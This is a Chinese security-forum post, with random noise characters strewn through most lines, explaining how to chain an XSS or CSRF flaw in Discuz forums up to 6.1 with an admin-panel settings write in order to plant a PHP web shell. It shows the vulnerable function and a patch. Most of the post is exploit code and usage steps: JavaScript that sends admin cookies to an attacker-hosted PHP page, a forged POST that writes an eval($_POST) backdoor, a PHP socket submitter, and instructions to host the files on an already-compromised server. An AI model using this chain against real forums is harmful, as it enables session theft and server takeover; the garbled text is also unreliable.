Discuz XSS得webshell& y; J! q# c- t4 A" {6 w$ x
By racle @tian6.com
$ v/ I/ i! s: O欢迎转帖.但请保留版权信息.9 E+ y: g* ~" k! O+ F5 ^
受影响版本 iscuz<=6.1.0,gbk+utf+big5
8 z* h( @: V, h# r8 a' a1 [
4 X' o) D& c& J/ t7 z% A' f8 Z新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.3 h3 X7 f2 M! E" }
- J. Z! y2 @/ n
( L" p$ H# Z. Y
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=87069 z4 Q g- s8 D% ?! m
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
6 Q% l1 L7 z% ?, t) K6 i$ z+ k
3 y. ~) c3 H _8 e" T分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
+ u) v9 @# m" r" {6 C" v本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS- X- D$ E1 x: P# c6 Y; z5 S) R) @3 B
. w' j5 |2 H0 A% Z% o
; w& @6 \" g0 M6 z8 u, o
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
) T7 s: h) f0 ?2 g B- O4 \% E) n9 u
+ K9 P: W# l. }, K% z- e; Wproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.- g& y: Q0 M& }) H9 F& u6 [3 L8 ?
: K* N& x" u$ K" A1 u$ Q% e" R
problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer., i5 g, O7 l; h. R1 i
% V7 o* ?0 e$ t/ y/ c, i* i
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的." T8 r) f {4 }* m) @: i2 F2 ^
3 b" Y' @+ p3 O& A t8 b( C& }, V' A$ I* }: @) ^
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {- C# f- q; p! g
( I1 @3 ]6 W4 I! n
global $runwizardfile, $runwizardhistory;- U- q/ |( Q. ~! W9 q+ {
4 B7 D3 i, i) f; q, ]' C, Q6 P. y
$fp = fopen($runwizardfile, 'w');+ Q+ m. q% _ l, |
) F7 ]/ m; F8 o fwrite($fp, serialize($runwizardhistory));7 }& n! k G- i$ z/ z
0 T& x. d5 \. z3 p; |, s( v fclose($fp);. [1 E! T( p) q
1 O: @! |6 l0 @
}% f) t/ Y; \5 t
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.! Q- U+ d6 E5 S
以下是修补的办法:function saverunwizardhistory() {
* |3 |! A( E; D( |( y8 n
% m: y* H5 L6 C. q( w global $runwizardfile, $runwizardhistory;' y5 a" b% P+ f/ b
' D! O( i k; U3 ^: c. O9 a1 E $fp = fopen($runwizardfile, 'w');
, Y2 I5 v$ O4 \4 I5 z* U% W1 Y
C; g; x$ c' n0 @& B $s = '<?php exit;?>';, B T* f- P2 P4 C
. g9 K8 {2 X+ a; r, E4 R
$s .= serialize($runwizardhistory);* T# M# H0 v' B0 l! w& V2 L
0 b# m/ U3 E9 P k2 F fwrite($fp, $s);
/ m& Q, o0 l. J5 V3 Z2 H; U! j9 N7 r
fclose($fp);( K) w5 j$ W- W3 i) P$ l M; C3 i
3 l5 o X3 r9 P) A; w/ G [
}2 g8 _; F8 v9 f, t+ N
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.: W6 r) w* |( M$ q# v' S
% `& y4 y3 V& [3 ?& U) M
$ Q2 c5 w/ A4 G, O' W5 ~- W* z
* p+ v; o6 s! m2 G9 j7 v
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
) V s, {* B% j# p# D1 \
6 e) P2 G& s$ N: ]5 \, h$ |5 Y2 A6 U9 }( o, f
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
" M1 J! L8 m( {) n! J
' s3 F8 u5 i8 }2 k9 p我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
}1 X: ^6 _ W$ d- U6 f5 G ]5 x# V; h: s0 H2 k
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
# n: x9 D1 b$ r5 i) T8 a/ p. {; Q- b1 U
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:! f% c5 b6 A. g6 B( u+ a
0 X1 J( B, A' ?8 d; l
var url="http://目标网站/admincp.php";
0 q+ s; p# w R9 v' u Z2 h- W) K. {# R+ z; h& T s Z
/*获得cookies*/+ P {+ F$ m5 C1 S
% w$ D# j1 M- rfunction getURL(s) {
4 q: q( S& C" T8 U, a4 a
& F( ^! B4 g! ~( t7 }: |var image = new Image();
. R6 k2 h' |8 K& J3 c( ]% J/ l. z) {7 |3 a
image.style.width = 0;
P; A# x0 T) [+ h+ i1 C A& V9 n/ S+ ^
image.style.height = 0;1 q6 X' i; {* C: C2 G- T& p
$ V7 k% R k/ F3 I; vimage.src = s;
( E9 j. R9 ]; k' d6 f1 e. d# o% w) S; }4 k. u$ x& v
}
+ {3 R* {1 r1 e0 ?' K! ?0 { L: Y# s: S8 A/ I8 [
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php& T; g/ F7 ]" j- }
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];2 o8 c4 |2 f7 ]9 \: @" z* j
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 
) m. ^8 K" C2 T# H ?6 B" Q) @- H0 w0 @1 a0 ?7 H- i3 @ Y
8 U9 w; g4 }5 Y6 X% T0 X. z6 @3 R
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
. q( c9 b; V% O8 ~. |: V o5 s2 n! y- X" B6 D o- Y1 x* S
. y" j7 k9 z, d3 q
# H3 C6 v+ @$ I1 q8 l
/*hash*/. d% j2 v1 b0 o8 H% y
! f3 b+ L5 E2 k# j: _) R
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");* K9 l q$ q; f7 s
* g! F0 B0 E& {. `, O: ?
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
. n' W/ ~2 v/ I2 f
$ X( b: `5 K8 J+ k. w/ @xmlHttpReq.send();
$ S1 M2 h& f! q- p9 b
; c1 z4 A1 ^2 U1 y- S/ Zvar resource = xmlHttpReq.responseText;
8 \3 e6 Q& y) G& b3 _& V
`# d/ }. J% ~. Z2 tvar numero = resource.search(/formhash/);
$ H9 w9 Q, m, }6 ~* Z# [- e) v9 ^- }/ Q* d9 P3 X/ P& r
var formhash=encodeURIComponent(resource.substr(numero+17,8));1 [3 x2 k4 Z; d& r
U. B9 i' Y( p9 p6 m- ]3 g0 X5 y4 i6 o1 ? l, N" r
: B$ j T/ ^* H5 e! b. S( N+ zvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 ( `' F$ y. F) q+ \/ k
* m# A, p2 z; y; J1 Z+ h# A
xmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
# d9 S9 E" a) O) p; E, t. F6 u% ]8 \! n, R0 D1 P
xmlHttpReq.setRequestHeader("Referer", url);
C2 e1 O ]* ~
# V+ H- g% ?$ {4 C+ |( ExmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
0 k% P( W! P; D& s& a& d. ]& l4 j1 P" f' s V g. C1 [
xmlHttpReq.setrequestheader("content-length",post.length); ! h6 C. t2 U) N6 D" n$ z
. j% z2 }+ {! d+ k
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
2 C) Q' V$ M% K( }( q' {; b: r' u l# @' O1 X9 z# R
xmlHttpReq.send(post);//发送数据
( Y7 W+ i j* Y0 h4 U, G1 c复制代码这里HASH我假设正确,这样提交,也无须cookies
6 p/ f" _5 v' T' s4 o; W* ]3 Z, \' r% D+ L% f5 i' h5 f
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);, t/ V0 f+ @& Z
3 ^$ k) U, D' V. J9 i
if (!$sock) die("$errstr ($errno)\n");
4 G( O3 x7 H/ H7 L6 d, l9 M- m5 S! v( C+ N6 I
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
s# C- V$ u& O
: I2 [0 ^7 p o; ?3 C8 m1 z2 @5 x4 q) Z9 `2 b% r8 W/ d: |3 b
% ~3 e; m* `8 j: \& {
fwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
! S* t$ U! Q$ w6 M7 c: B: V! X; A9 O! @( L' v! V! H* X
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
4 D# }; W: l& y
+ C I4 T/ C) f5 K) Vfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
8 u0 ?2 R" [* Q" ?- j" t6 l
! D" d' U2 q a& x6 Ifwrite($sock, "Accept-Language: zh-cn\r\n");
4 S5 C* a, g/ z! i% F, |- x# Q( W3 c7 F5 b/ I9 S, @- r
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");" S" L/ M& o& r! }5 j
1 v8 N& `) g/ h. D' C9 X5 ^( C
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");. J; ?3 p! a& c+ H# D/ ], ]/ X
4 I5 w x% G1 t. \& W( {fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
, B- L6 N) S- X- g
/ _. C5 p% y v9 Y! [9 wfwrite($sock, "Host: $url\r\n");
; a8 k) D# i8 I5 D9 P! @8 {, P: G2 T! l; }8 U
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");0 g. S9 o; P S3 f
2 U( z* N. U( G! C1 ^7 ufwrite($sock, "Connection: Keep-Alive\r\n");
* w8 O2 j; G8 y8 f1 p- N
% D! @3 y1 |) {9 P( B7 afwrite($sock, "Cache-Control: no-cache\r\n");
* s* |+ D$ S$ v; k) }
% T' ?$ s1 ?8 ], u0 j, K2 bfwrite($sock, "Cookie:".$cookies."\r\n\r\n"); v; X6 Y3 i" k' x4 G, \9 `0 U
$ L ]( X1 I0 G& B. c [. lfwrite($sock, $data);3 N: M/ V9 r& ]2 J! B
9 D; _( ?: _: u7 R
. b! T7 C! s& A+ `# `
) E0 O6 }. W; R! F% T& p, |" s% }$ U$headers = "";
/ n7 d- A0 }2 b
( y9 b" [) q1 {! n! a' n2 b# B6 ewhile ($str = trim(fgets($sock, 4096)))" l* H2 Z8 |! t
: N4 [' S) `" ^2 l* m6 J8 H $headers .= "$str\n";
( n# i% J7 H! s; F5 A% w2 j2 H9 Z" x( r7 G8 T
echo "\n";, M$ @8 F8 v i8 I! A
9 f' o, P7 `, H1 Q1 m$body = "";
/ t, g4 m# E6 s+ K' _* x- t: J/ U, S5 ~+ ]8 C1 g# ~6 L
while (!feof($sock)) ^ G/ |/ o7 l) C
( E9 K9 M. |- C8 x% X: w/ S' E" b2 w $body .= fgets($sock, 4096);
; {2 O* [. q0 D/ Z$ X G, B: o$ w6 m! M" }' F# d
fclose($sock);
- }- ~# l. V2 [+ Y: L! F, f
9 Q" T, [5 O9 w8 J+ z3 {' w! \echo $body;
) z, X% g3 `8 I5 ]% V复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
4 o+ d8 D! t2 O a
9 T# P- u+ E6 E: r
) E7 n3 T3 m2 Z& v-------------------------------------------XSS文件分析分隔线------------------------------------------------------------------------------ J. I( `( w+ ?4 x
4 ^* T) l1 @* w: J$ T1 u! s' S/ q
, t3 n2 T- v( T* ^1 r
1 HP SOCKET利用方法首先打开racle.js4 S* n; b# E+ X7 B/ J+ e3 K
$ K" H% o6 J* ]7 {; W I0 dvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
4 E- x6 V+ s W7 A+ g
3 ^: Z# l# K% `- }0 T3 y4 E! h4 m4 n8 I" n
5 \; [$ k% K7 h' C" A% e' N8 O
然后打开racle@tian6.php
- T5 E$ a8 W5 `1 i# R, {; h
' ^) [( y" A) Z- {& u/ `$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com
. j* C3 \% {* e5 }& x. ^
/ c; {( i8 p v, |
" f& J! W5 l1 L6 g- W* O' U" G8 P7 |: y
& }0 B& F$ u0 y% c3 H" I* w9 S) n如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
: ^4 a& U l5 P& F+ ~' O! w: G# C& w# @+ t+ h
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));$ Q1 Q6 E w; h& d/ n' }1 }: b5 c& ]
9 t7 C* Q/ z% F( n, I4 b! U) X
为! I9 i8 c8 w) H |( i& z; p
" t% L/ p6 F. x f% X
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
; Q% M" Z' @% c复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
6 n0 ?, A8 C- z) Y4 p5 }3 i) P+ Y7 ]" ], H
, Q3 b" e* \4 a# H, u
0 z _* J3 a. E& e5 K" C1 p+ w& p如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:% K) M7 L1 T4 P/ o/ e
: G6 N3 |4 ]1 a" @% gvar formhash=encodeURIComponent(resource.substr(numero+17,8));
1 ^# ], y" @- ]+ o) A- J
c$ l! x8 C9 u4 N为, j- ?* j# O1 ]4 t- t) w9 U& u: Y
- I: f" |6 w* ?! a) {/ p. J
var formhash=encodeURIComponent(resource.substr(numero+9,8));
S- L" o5 Y. b3 ]4 x& D复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
3 Y( s7 b# D: R: S: I; O
# B" ?8 D! p9 }: r2 {, l% ?. z如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.& O# k2 f a2 N0 \% u& e4 G
* J- d2 l" O) q- b如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.% [1 g1 Y5 Z4 x, _; J% ?
9 s# ]& Z% ~% C4 O不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧. J/ g0 n* K) K) X T: N! j
" K' r4 @0 R, j9 _ |